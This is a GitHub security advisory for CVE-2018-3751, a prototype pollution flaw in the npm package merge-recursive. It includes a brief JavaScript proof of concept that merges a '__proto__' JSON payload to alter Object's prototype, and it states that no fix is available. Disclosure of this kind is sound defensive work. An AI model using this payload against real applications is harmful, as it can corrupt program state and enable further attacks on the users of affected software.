GHSA-cvxm-f295-x957

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GHSA-cvxm-f295-x957

Summary: Prototype Pollution in merge-recursive

Details: All versions of `merge-recursive` are vulnerable to Prototype Pollution. When malicious user input is merged with another object it allows the attacker to modify the prototype of Object via `__proto__` causing the addition or modification of an existing property. Proof of concept: ```js var merge = require('merge-recursive').recursive; var malicious_payload = '{"__proto__":{"oops":"It works !"}}'; var a = {}; console.log("Before : " + a.oops); merge({}, JSON.parse(malicious_payload)); console.log("After : " + a.oops); ``` ## Recommendation There is currently no fix available.

References: https://nvd.nist.gov/vuln/detail/CVE-2018-3751, https://hackerone.com/reports/311337, https://github.com/advisories/GHSA-cvxm-f295-x957, https://www.npmjs.com/advisories/715